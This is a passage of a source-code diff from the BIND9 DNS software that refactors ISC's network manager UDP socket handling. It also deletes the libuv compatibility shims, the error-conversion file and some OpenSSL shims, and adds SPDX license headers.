 	sa_family_t sa_family;
+	isc__networker_t *worker = &mgr->workers[isc_tid()];
+	uv_os_sock_t fd = -1;
 
 	REQUIRE(VALID_NM(mgr));
 	REQUIRE(local != NULL);
 	REQUIRE(peer != NULL);
 
+	if (isc__nm_closing(worker)) {
+		cb(NULL, ISC_R_SHUTTINGDOWN, cbarg);
+		return;
+	}
+
 	sa_family = peer->type.sa.sa_family;
 
-	sock = isc_mem_get(mgr->mctx, sizeof(isc_nmsocket_t));
-	isc__nmsocket_init(sock, mgr, isc_nm_udpsocket, local);
+	result = isc__nm_socket(sa_family, SOCK_DGRAM, 0, &fd);
+	if (result != ISC_R_SUCCESS) {
+		cb(NULL, result, cbarg);
+		return;
+	}
+
+	/* Initialize the new socket */
+	/* FIXME: Use per-worker mempool for new sockets */
+	sock = isc_mem_get(worker->mctx, sizeof(isc_nmsocket_t));
+	isc__nmsocket_init(sock, worker, isc_nm_udpsocket, local, NULL);
 
 	sock->connect_cb = cb;
 	sock->connect_cbarg = cbarg;
 	sock->read_timeout = timeout;
-	sock->extrahandlesize = extrahandlesize;
 	sock->peer = *peer;
-	sock->result = ISC_R_UNSET;
-	atomic_init(&sock->client, true);
+	sock->client = true;
+
+	sock->fd = fd;
+	result = isc__nm_socket_reuse(sock->fd);
+	RUNTIME_CHECK(result == ISC_R_SUCCESS ||
+		      result == ISC_R_NOTIMPLEMENTED);
+
+	(void)isc__nm_socket_incoming_cpu(sock->fd);
+
+	(void)isc__nm_socket_disable_pmtud(sock->fd, sa_family);
+
+	(void)isc__nm_socket_min_mtu(sock->fd, sa_family);
 
-	req = isc__nm_uvreq_get(mgr, sock);
+	/* Initialize the request */
+	req = isc__nm_uvreq_get(sock);
 	req->cb.connect = cb;
 	req->cbarg = cbarg;
 	req->peer = *peer;
 	req->local = *local;
 	req->handle = isc__nmhandle_get(sock, &req->peer, &sock->iface);
 
-	result = isc__nm_socket(sa_family, SOCK_DGRAM, 0, &sock->fd);
+	sock->active = true;
+	sock->connecting = true;
+
+	result = udp_connect_direct(sock, req);
 	if (result != ISC_R_SUCCESS) {
-		if (isc__nm_in_netthread()) {
-			sock->tid = isc_nm_tid();
-		}
-		isc__nmsocket_clearcb(sock);
-		isc__nm_connectcb(sock, req, result, true);
-		atomic_store(&sock->closed, true);
+		sock->active = false;
+		isc__nm_failed_connect_cb(sock, req, result, true);
 		isc__nmsocket_detach(&sock);
 		return;
 	}
 
-	result = isc__nm_socket_reuse(sock->fd);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS ||
-		      result == ISC_R_NOTIMPLEMENTED);
-
-	result = isc__nm_socket_reuse_lb(sock->fd);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS ||
-		      result == ISC_R_NOTIMPLEMENTED);
+	sock->connecting = false;
+	sock->connected = true;
 
-	(void)isc__nm_socket_incoming_cpu(sock->fd);
-
-	(void)isc__nm_socket_dontfrag(sock->fd, sa_family);
-
-	event = isc__nm_get_netievent_udpconnect(mgr, sock, req);
-
-	if (isc__nm_in_netthread()) {
-		atomic_store(&sock->active, true);
-		sock->tid = isc_nm_tid();
-		isc__nm_async_udpconnect(&mgr->workers[sock->tid],
-					 (isc__netievent_t *)event);
-		isc__nm_put_netievent_udpconnect(mgr, event);
-	} else {
-		atomic_init(&sock->active, false);
-		sock->tid = isc_random_uniform(mgr->nworkers);
-		isc__nm_enqueue_ievent(&mgr->workers[sock->tid],
-				       (isc__netievent_t *)event);
-	}
-	LOCK(&sock->lock);
-	while (sock->result == ISC_R_UNSET) {
-		WAIT(&sock->cond, &sock->lock);
-	}
-	atomic_store(&sock->active, true);
-	BROADCAST(&sock->scond);
-	UNLOCK(&sock->lock);
-}
-
-void
-isc__nm_udp_read_cb(uv_udp_t *handle, ssize_t nrecv, const uv_buf_t *buf,
-		    const struct sockaddr *addr, unsigned flags) {
-	isc_nmsocket_t *sock = uv_handle_get_data((uv_handle_t *)handle);
-	REQUIRE(VALID_NMSOCK(sock));
-
-	udp_recv_cb(handle, nrecv, buf, addr, flags);
-	/*
-	 * If a caller calls isc_nm_read() on a listening socket, we can
-	 * get here, but we MUST NOT stop reading from the listener
-	 * socket.  The only difference between listener and connected
-	 * sockets is that the former has sock->parent set and later
-	 * does not.
-	 */
-	if (!sock->parent) {
-		isc__nm_stop_reading(sock);
-	}
+	isc__nm_connectcb(sock, req, ISC_R_SUCCESS, true);
+	isc__nmsocket_detach(&sock);
 }
 
 void
-isc__nm_udp_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result) {
+isc__nm_udp_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result,
+			   bool async) {
 	REQUIRE(VALID_NMSOCK(sock));
 	REQUIRE(result != ISC_R_SUCCESS);
-
-	if (atomic_load(&sock->client)) {
-		isc__nmsocket_timer_stop(sock);
-		isc__nm_stop_reading(sock);
-
-		if (!sock->recv_read) {
-			goto destroy;
-		}
-		sock->recv_read = false;
-
-		if (sock->recv_cb != NULL) {
-			isc__nm_uvreq_t *req = isc__nm_get_read_req(sock, NULL);
-			isc__nmsocket_clearcb(sock);
-			isc__nm_readcb(sock, req, result);
-		}
-
-	destroy:
-		isc__nmsocket_prep_destroy(sock);
-		return;
-	}
+	REQUIRE(sock->tid == isc_tid());
 
 	/*
 	 * For UDP server socket, we don't have child socket via
@@ -836,89 +850,72 @@ isc__nm_udp_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result) {
 	 * - we don't clear the callbacks
 	 * - we don't destroy it (only stoplistening could do that)
 	 */
-	if (!sock->recv_read) {
-		return;
-	}
-	sock->recv_read = false;
 
-	if (sock->recv_cb != NULL) {
-		isc__nm_uvreq_t *req = isc__nm_get_read_req(sock, NULL);
-		isc__nm_readcb(sock, req, result);
+	if (sock->client) {
+		isc__nmsocket_timer_stop(sock);
+		isc__nm_stop_reading(sock);
 	}
-}
-
-/*
- * Asynchronous 'udpread' call handler: start or resume reading on a
- * socket; pause reading and call the 'recv' callback after each
- * datagram.
- */
-void
-isc__nm_async_udpread(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_udpread_t *ievent = (isc__netievent_udpread_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
 
-	UNUSED(worker);
+	/* Nobody expects the callback if isc_nm_read() wasn't called */
+	if (sock->reading) {
+		sock->reading = false;
 
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
+		if (sock->recv_cb != NULL) {
+			isc__nm_uvreq_t *req = isc__nm_get_read_req(sock, NULL);
+			isc__nm_readcb(sock, req, result, async);
+		}
+	}
 
-	if (isc__nmsocket_closing(sock)) {
-		sock->reading = true;
-		isc__nm_failed_read_cb(sock, ISC_R_CANCELED, false);
+	if (sock->client) {
+		isc__nmsocket_clearcb(sock);
+		isc__nmsocket_prep_destroy(sock);
 		return;
 	}
-
-	isc__nm_start_reading(sock);
-	isc__nmsocket_timer_start(sock);
 }
 
 void
 isc__nm_udp_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb, void *cbarg) {
+	isc_nmsocket_t *sock = NULL;
+	isc_result_t result;
+
 	REQUIRE(VALID_NMHANDLE(handle));
-	REQUIRE(VALID_NMSOCK(handle->sock));
 
-	isc_nmsocket_t *sock = handle->sock;
+	sock = handle->sock;
 
+	REQUIRE(VALID_NMSOCK(sock));
 	REQUIRE(sock->type == isc_nm_udpsocket);
 	REQUIRE(sock->statichandle == handle);
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(!sock->recv_read);
+	REQUIRE(sock->tid == isc_tid());
 
+	/*
+	 * We need to initialize the callback before checking for shutdown
+	 * conditions, so the callback is always called even on error condition.
+	 */
 	sock->recv_cb = cb;
 	sock->recv_cbarg = cbarg;
-	sock->recv_read = true;
+	sock->reading = true;
 
-	if (!sock->reading && sock->tid == isc_nm_tid()) {
-		isc__netievent_udpread_t ievent = { .sock = sock };
-		isc__nm_async_udpread(NULL, (isc__netievent_t *)&ievent);
-	} else {
-		isc__netievent_udpread_t *ievent =
-			isc__nm_get_netievent_udpread(sock->mgr, sock);
-		isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				       (isc__netievent_t *)ievent);
+	if (isc__nm_closing(sock->worker)) {
+		result = ISC_R_SHUTTINGDOWN;
+		goto fail;
 	}
-}
 
-static void
-udp_stop_cb(uv_handle_t *handle) {
-	isc_nmsocket_t *sock = uv_handle_get_data(handle);
-	uv_handle_set_data(handle, NULL);
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(atomic_load(&sock->closing));
-
-	if (!atomic_compare_exchange_strong(&sock->closed, &(bool){ false },
-					    true)) {
-		INSIST(0);
-		ISC_UNREACHABLE();
+	if (isc__nmsocket_closing(sock)) {
+		result = ISC_R_CANCELED;
+		goto fail;
 	}
 
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_CLOSE]);
+	result = isc__nm_start_reading(sock);
+	if (result != ISC_R_SUCCESS) {
+		goto fail;
+	}
 
-	atomic_store(&sock->listening, false);
+	isc__nmsocket_timer_restart(sock);
+	return;
 
-	isc__nmsocket_detach(&sock);
+fail:
+	sock->reading = true; /* required by the next call */
+	isc__nm_failed_read_cb(sock, result, true);
 }
 
 static void
@@ -927,151 +924,70 @@ udp_close_cb(uv_handle_t *handle) {
 	uv_handle_set_data(handle, NULL);
 
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(atomic_load(&sock->closing));
+	REQUIRE(sock->tid == isc_tid());
+	REQUIRE(sock->closing);
+	REQUIRE(!sock->closed);
 
-	if (!atomic_compare_exchange_strong(&sock->closed, &(bool){ false },
-					    true)) {
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_CLOSE]);
-
-	if (sock->server != NULL) {
-		isc__nmsocket_detach(&sock->server);
-	}
-
-	atomic_store(&sock->connected, false);
-	atomic_store(&sock->listening, false);
+	sock->closed = true;
 
-	isc__nmsocket_prep_destroy(sock);
-}
+	isc__nm_incstats(sock, STATID_CLOSE);
 
-static void
-timer_close_cb(uv_handle_t *handle) {
-	isc_nmsocket_t *sock = uv_handle_get_data(handle);
-	uv_handle_set_data(handle, NULL);
-
-	if (sock->parent) {
-		uv_close(&sock->uv_handle.handle, udp_stop_cb);
+	if (sock->parent != NULL) {
+		/* listening socket (listen) */
+		isc__nmsocket_detach(&sock);
 	} else {
-		uv_close(&sock->uv_handle.handle, udp_close_cb);
-	}
-}
-
-static void
-stop_udp_child(isc_nmsocket_t *sock) {
-	REQUIRE(sock->type == isc_nm_udpsocket);
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	if (!atomic_compare_exchange_strong(&sock->closing, &(bool){ false },
-					    true)) {
-		return;
-	}
-
-	udp_close_direct(sock);
-
-	atomic_fetch_sub(&sock->parent->rchildren, 1);
-
-	isc_barrier_wait(&sock->parent->stoplistening);
-}
-
-static void
-stop_udp_parent(isc_nmsocket_t *sock) {
-	isc_nmsocket_t *csock = NULL;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(sock->type == isc_nm_udplistener);
-
-	isc_barrier_init(&sock->stoplistening, sock->nchildren);
-
-	for (size_t i = 0; i < sock->nchildren; i++) {
-		csock = &sock->children[i];
-		REQUIRE(VALID_NMSOCK(csock));
-
-		if ((int)i == isc_nm_tid()) {
-			/*
-			 * We need to schedule closing the other sockets first
-			 */
-			continue;
-		}
-
-		atomic_store(&csock->active, false);
-		enqueue_stoplistening(csock);
+		/* client and server sockets */
+		sock->connected = false;
+		isc__nmsocket_prep_destroy(sock);
 	}
-
-	csock = &sock->children[isc_nm_tid()];
-	atomic_store(&csock->active, false);
-	stop_udp_child(csock);
-
-	atomic_store(&sock->closed, true);
-	isc__nmsocket_prep_destroy(sock);
-}
-
-static void
-udp_close_direct(isc_nmsocket_t *sock) {
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-
-	uv_close((uv_handle_t *)&sock->timer, timer_close_cb);
-}
-
-void
-isc__nm_async_udpclose(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_udpclose_t *ievent = (isc__netievent_udpclose_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	UNUSED(worker);
-
-	udp_close_direct(sock);
 }
 
 void
 isc__nm_udp_close(isc_nmsocket_t *sock) {
 	REQUIRE(VALID_NMSOCK(sock));
 	REQUIRE(sock->type == isc_nm_udpsocket);
-	REQUIRE(!isc__nmsocket_active(sock));
+	REQUIRE(sock->tid == isc_tid());
+	REQUIRE(!sock->closing);
 
-	if (!atomic_compare_exchange_strong(&sock->closing, &(bool){ false },
-					    true)) {
-		return;
-	}
+	sock->closing = true;
 
-	if (sock->tid == isc_nm_tid()) {
-		udp_close_direct(sock);
-	} else {
-		isc__netievent_udpclose_t *ievent =
-			isc__nm_get_netievent_udpclose(sock->mgr, sock);
-		isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-				       (isc__netievent_t *)ievent);
-	}
+	isc__nmsocket_clearcb(sock);
+	isc__nmsocket_timer_stop(sock);
+	isc__nm_stop_reading(sock);
+
+	/*
+	 * The order of the close operation is important here, the uv_close()
+	 * gets scheduled in the reverse order, so we need to close the timer
+	 * last, so its gone by the time we destroy the socket
+	 */
+
+	/* 2. close the listening socket */
+	isc__nmsocket_clearcb(sock);
+	isc__nm_stop_reading(sock);
+	uv_close(&sock->uv_handle.handle, udp_close_cb);
+
+	/* 1. close the read timer */
+	isc__nmsocket_timer_stop(sock);
+	uv_close((uv_handle_t *)&sock->read_timer, NULL);
 }
 
 void
 isc__nm_udp_shutdown(isc_nmsocket_t *sock) {
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
+	REQUIRE(sock->tid == isc_tid());
 	REQUIRE(sock->type == isc_nm_udpsocket);
 
 	/*
 	 * If the socket is active, mark it inactive and
 	 * continue. If it isn't active, stop now.
 	 */
-	if (!isc__nmsocket_deactivate(sock)) {
+	if (!sock->active) {
 		return;
 	}
+	sock->active = false;
 
-	/*
-	 * If the socket is connecting, the cancel will happen in the
-	 * async_udpconnect() due socket being inactive now.
-	 */
-	if (atomic_load(&sock->connecting)) {
-		return;
-	}
+	/* uv_udp_connect is synchronous, we can't be in connected state */
+	REQUIRE(!sock->connecting);
 
 	/*
 	 * When the client detaches the last handle, the
@@ -1079,49 +995,18 @@ isc__nm_udp_shutdown(isc_nmsocket_t *sock) {
 	 * interested in the callback.
 	 */
 	if (sock->statichandle != NULL) {
-		isc__nm_failed_read_cb(sock, ISC_R_CANCELED, false);
+		isc__nm_failed_read_cb(sock, ISC_R_SHUTTINGDOWN, false);
 		return;
 	}
 
-	/*
-	 * Otherwise, we just send the socket to abyss...
-	 */
+	/* Destroy the non-listening socket */
 	if (sock->parent == NULL) {
 		isc__nmsocket_prep_destroy(sock);
+		return;
 	}
-}
-
-void
-isc__nm_udp_cancelread(isc_nmhandle_t *handle) {
-	isc_nmsocket_t *sock = NULL;
-	isc__netievent_udpcancel_t *ievent = NULL;
-
-	REQUIRE(VALID_NMHANDLE(handle));
-
-	sock = handle->sock;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->type == isc_nm_udpsocket);
-
-	ievent = isc__nm_get_netievent_udpcancel(sock->mgr, sock, handle);
 
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
-}
-
-void
-isc__nm_async_udpcancel(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_udpcancel_t *ievent = (isc__netievent_udpcancel_t *)ev0;
-	isc_nmsocket_t *sock = NULL;
-
-	UNUSED(worker);
-
-	REQUIRE(VALID_NMSOCK(ievent->sock));
-
-	sock = ievent->sock;
-
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(atomic_load(&sock->client));
-
-	isc__nm_failed_read_cb(sock, ISC_R_EOF, false);
+	/* Destroy the listening socket if on the same loop */
+	if (sock->tid == sock->parent->tid) {
+		isc__nmsocket_prep_destroy(sock->parent);
+	}
 }
diff --git a/lib/isc/netmgr/uv-compat.c b/lib/isc/netmgr/uv-compat.c
deleted file mode 100644
index 7dc12e8f94..0000000000
--- a/lib/isc/netmgr/uv-compat.c
+++ /dev/null
@@ -1,120 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include "uv-compat.h"
-#include <unistd.h>
-
-#include <isc/util.h>
-
-#include "netmgr-int.h"
-
-#if UV_VERSION_HEX < UV_VERSION(1, 27, 0)
-int
-isc_uv_udp_connect(uv_udp_t *handle, const struct sockaddr *addr) {
-	int err = 0;
-
-	do {
-		int addrlen = (addr->sa_family == AF_INET)
-				      ? sizeof(struct sockaddr_in)
-				      : sizeof(struct sockaddr_in6);
-		err = connect(handle->io_watcher.fd, addr, addrlen);
-	} while (err == -1 && errno == EINTR);
-
-	if (err) {
-#if UV_VERSION_HEX >= UV_VERSION(1, 10, 0)
-		return (uv_translate_sys_error(errno));
-#else
-		return (-errno);
-#endif /* UV_VERSION_HEX >= UV_VERSION(1, 10, 0) */
-	}
-
-	return (0);
-}
-#endif /* UV_VERSION_HEX < UV_VERSION(1, 27, 0) */
-
-int
-isc_uv_udp_freebind(uv_udp_t *handle, const struct sockaddr *addr,
-		    unsigned int flags) {
-	int r;
-	uv_os_sock_t fd;
-
-	r = uv_fileno((const uv_handle_t *)handle, (uv_os_fd_t *)&fd);
-	if (r < 0) {
-		return (r);
-	}
-
-	r = uv_udp_bind(handle, addr, flags);
-	if (r == UV_EADDRNOTAVAIL &&
-	    isc__nm_socket_freebind(fd, addr->sa_family) == ISC_R_SUCCESS)
-	{
-		/*
-		 * Retry binding with IP_FREEBIND (or equivalent option) if the
-		 * address is not available. This helps with IPv6 tentative
-		 * addresses which are reported by the route socket, although
-		 * named is not yet able to properly bind to them.
-		 */
-		r = uv_udp_bind(handle, addr, flags);
-	}
-
-	return (r);
-}
-
-static int
-isc__uv_tcp_bind_now(uv_tcp_t *handle, const struct sockaddr *addr,
-		     unsigned int flags) {
-	int r;
-	struct sockaddr_storage sname;
-	int snamelen = sizeof(sname);
-
-	r = uv_tcp_bind(handle, addr, flags);
-	if (r < 0) {
-		return (r);
-	}
-
-	/*
-	 * uv_tcp_bind() uses a delayed error, initially returning
-	 * success even if bind() fails. By calling uv_tcp_getsockname()
-	 * here we can find out whether the bind() call was successful.
-	 */
-	r = uv_tcp_getsockname(handle, (struct sockaddr *)&sname, &snamelen);
-	if (r < 0) {
-		return (r);
-	}
-
-	return (0);
-}
-
-int
-isc_uv_tcp_freebind(uv_tcp_t *handle, const struct sockaddr *addr,
-		    unsigned int flags) {
-	int r;
-	uv_os_sock_t fd;
-
-	r = uv_fileno((const uv_handle_t *)handle, (uv_os_fd_t *)&fd);
-	if (r < 0) {
-		return (r);
-	}
-
-	r = isc__uv_tcp_bind_now(handle, addr, flags);
-	if (r == UV_EADDRNOTAVAIL &&
-	    isc__nm_socket_freebind(fd, addr->sa_family) == ISC_R_SUCCESS)
-	{
-		/*
-		 * Retry binding with IP_FREEBIND (or equivalent option) if the
-		 * address is not available. This helps with IPv6 tentative
-		 * addresses which are reported by the route socket, although
-		 * named is not yet able to properly bind to them.
-		 */
-		r = isc__uv_tcp_bind_now(handle, addr, flags);
-	}
-
-	return (r);
-}
diff --git a/lib/isc/netmgr/uv-compat.h b/lib/isc/netmgr/uv-compat.h
deleted file mode 100644
index c7037353f5..0000000000
--- a/lib/isc/netmgr/uv-compat.h
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-#include <uv.h>
-
-/*
- * These functions were introduced in newer libuv, but we still
- * want BIND9 compile on older ones so we emulate them.
- * They're inline to avoid conflicts when running with a newer
- * library version.
- */
-
-#define UV_VERSION(major, minor, patch) ((major << 16) | (minor << 8) | (patch))
-
-#if UV_VERSION_HEX < UV_VERSION(1, 19, 0)
-static inline void *
-uv_handle_get_data(const uv_handle_t *handle) {
-	return (handle->data);
-}
-
-static inline void
-uv_handle_set_data(uv_handle_t *handle, void *data) {
-	handle->data = data;
-}
-
-static inline void *
-uv_req_get_data(const uv_req_t *req) {
-	return (req->data);
-}
-
-static inline void
-uv_req_set_data(uv_req_t *req, void *data) {
-	req->data = data;
-}
-#endif /* UV_VERSION_HEX < UV_VERSION(1, 19, 0) */
-
-#if UV_VERSION_HEX < UV_VERSION(1, 34, 0)
-#define uv_sleep(msec) usleep(msec * 1000)
-#endif /* UV_VERSION_HEX < UV_VERSION(1, 34, 0) */
-
-#if UV_VERSION_HEX < UV_VERSION(1, 27, 0)
-int
-isc_uv_udp_connect(uv_udp_t *handle, const struct sockaddr *addr);
-/*%<
- * Associate the UDP handle to a remote address and port, so every message sent
- * by this handle is automatically sent to that destination.
- *
- * NOTE: This is just a limited shim for uv_udp_connect() as it requires the
- * handle to be bound.
- */
-#else /* UV_VERSION_HEX < UV_VERSION(1, 27, 0) */
-#define isc_uv_udp_connect uv_udp_connect
-#endif /* UV_VERSION_HEX < UV_VERSION(1, 27, 0) */
-
-#if UV_VERSION_HEX < UV_VERSION(1, 12, 0)
-#include <stdlib.h>
-#include <string.h>
-
-static inline int
-uv_os_getenv(const char *name, char *buffer, size_t *size) {
-	size_t len;
-	char *buf = getenv(name);
-
-	if (buf == NULL) {
-		return (UV_ENOENT);
-	}
-
-	len = strlen(buf) + 1;
-	if (len > *size) {
-		*size = len;
-		return (UV_ENOBUFS);
-	}
-
-	*size = len;
-	memmove(buffer, buf, len);
-
-	return (0);
-}
-
-#define uv_os_setenv(name, value) setenv(name, value, 0)
-#endif /* UV_VERSION_HEX < UV_VERSION(1, 12, 0) */
-
-int
-isc_uv_udp_freebind(uv_udp_t *handle, const struct sockaddr *addr,
-		    unsigned int flags);
-
-int
-isc_uv_tcp_freebind(uv_tcp_t *handle, const struct sockaddr *addr,
-		    unsigned int flags);
diff --git a/lib/isc/netmgr/uverr2result.c b/lib/isc/netmgr/uverr2result.c
deleted file mode 100644
index 8a5c8f6699..0000000000
--- a/lib/isc/netmgr/uverr2result.c
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <stdbool.h>
-#include <uv.h>
-
-#include <isc/result.h>
-#include <isc/strerr.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-#include "netmgr-int.h"
-
-/*%
- * Convert a libuv error value into an isc_result_t.  The
- * list of supported error values is not complete; new users
- * of this function should add any expected errors that are
- * not already there.
- */
-isc_result_t
-isc___nm_uverr2result(int uverr, bool dolog, const char *file,
-		      unsigned int line, const char *func) {
-	switch (uverr) {
-	case 0:
-		return (ISC_R_SUCCESS);
-	case UV_ENOTDIR:
-	case UV_ELOOP:
-	case UV_EINVAL: /* XXX sometimes this is not for files */
-	case UV_ENAMETOOLONG:
-	case UV_EBADF:
-		return (ISC_R_INVALIDFILE);
-	case UV_ENOENT:
-		return (ISC_R_FILENOTFOUND);
-	case UV_EAGAIN:
-		return (ISC_R_NOCONN);
-	case UV_EACCES:
-	case UV_EPERM:
-		return (ISC_R_NOPERM);
-	case UV_EEXIST:
-		return (ISC_R_FILEEXISTS);
-	case UV_EIO:
-		return (ISC_R_IOERROR);
-	case UV_ENOMEM:
-		return (ISC_R_NOMEMORY);
-	case UV_ENFILE:
-	case UV_EMFILE:
-		return (ISC_R_TOOMANYOPENFILES);
-	case UV_ENOSPC:
-		return (ISC_R_DISCFULL);
-	case UV_EPIPE:
-	case UV_ECONNRESET:
-	case UV_ECONNABORTED:
-		return (ISC_R_CONNECTIONRESET);
-	case UV_ENOTCONN:
-		return (ISC_R_NOTCONNECTED);
-	case UV_ETIMEDOUT:
-		return (ISC_R_TIMEDOUT);
-	case UV_ENOBUFS:
-		return (ISC_R_NORESOURCES);
-	case UV_EAFNOSUPPORT:
-		return (ISC_R_FAMILYNOSUPPORT);
-	case UV_ENETDOWN:
-		return (ISC_R_NETDOWN);
-	case UV_EHOSTDOWN:
-		return (ISC_R_HOSTDOWN);
-	case UV_ENETUNREACH:
-		return (ISC_R_NETUNREACH);
-	case UV_EHOSTUNREACH:
-		return (ISC_R_HOSTUNREACH);
-	case UV_EADDRINUSE:
-		return (ISC_R_ADDRINUSE);
-	case UV_EADDRNOTAVAIL:
-		return (ISC_R_ADDRNOTAVAIL);
-	case UV_ECONNREFUSED:
-		return (ISC_R_CONNREFUSED);
-	case UV_ECANCELED:
-		return (ISC_R_CANCELED);
-	case UV_EOF:
-		return (ISC_R_EOF);
-	default:
-		if (dolog) {
-			UNEXPECTED_ERROR(
-				file, line,
-				"unable to convert libuv "
-				"error code in %s to isc_result: %d: %s",
-				func, uverr, uv_strerror(uverr));
-		}
-		return (ISC_R_UNEXPECTED);
-	}
-}
diff --git a/lib/isc/netmgr_p.h b/lib/isc/netmgr_p.h
deleted file mode 100644
index 8f33c84160..0000000000
--- a/lib/isc/netmgr_p.h
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#pragma once
-
-#include <isc/mem.h>
-#include <isc/result.h>
-
-void
-isc__netmgr_create(isc_mem_t *mctx, uint32_t workers, isc_nm_t **netgmrp);
-/*%<
- * Creates a new network manager with 'workers' worker threads,
- * and starts it running.
- */
-
-void
-isc__netmgr_destroy(isc_nm_t **netmgrp);
-/*%<
- * Similar to isc_nm_detach(), but actively waits for all other references
- * to be gone before returning.
- */
-
-void
-isc__netmgr_shutdown(isc_nm_t *mgr);
-/*%<
- * Shut down all active connections, freeing associated resources;
- * prevent new connections from being established.
- */
diff --git a/lib/isc/netscope.c b/lib/isc/netscope.c
index 45c0b52fd6..69c3e9a075 100644
--- a/lib/isc/netscope.c
+++ b/lib/isc/netscope.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/lib/isc/nonce.c b/lib/isc/nonce.c
index f1e3370b30..316498a613 100644
--- a/lib/isc/nonce.c
+++ b/lib/isc/nonce.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,10 +11,9 @@
  * information regarding copyright ownership.
  */
 
+#include <isc/entropy.h>
 #include <isc/nonce.h>
 
-#include "entropy_private.h"
-
 void
 isc_nonce_buf(void *buf, size_t buflen) {
 	isc_entropy_get(buf, buflen);
diff --git a/lib/isc/openssl_shim.c b/lib/isc/openssl_shim.c
index bc1baa92bb..c39ba8c682 100644
--- a/lib/isc/openssl_shim.c
+++ b/lib/isc/openssl_shim.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -51,27 +53,6 @@ EVP_CIPHER_CTX_free(EVP_CIPHER_CTX *ctx) {
 }
 #endif /* if !HAVE_EVP_CIPHER_CTX_FREE */
 
-#if !HAVE_EVP_MD_CTX_NEW
-EVP_MD_CTX *
-EVP_MD_CTX_new(void) {
-	EVP_MD_CTX *ctx = OPENSSL_malloc(sizeof(*ctx));
-	if (ctx != NULL) {
-		memset(ctx, 0, sizeof(*ctx));
-	}
-	return (ctx);
-}
-#endif /* if !HAVE_EVP_MD_CTX_NEW */
-
-#if !HAVE_EVP_MD_CTX_FREE
-void
-EVP_MD_CTX_free(EVP_MD_CTX *ctx) {
-	if (ctx != NULL) {
-		EVP_MD_CTX_cleanup(ctx);
-		OPENSSL_free(ctx);
-	}
-}
-#endif /* if !HAVE_EVP_MD_CTX_FREE */
-
 #if !HAVE_EVP_MD_CTX_RESET
 int
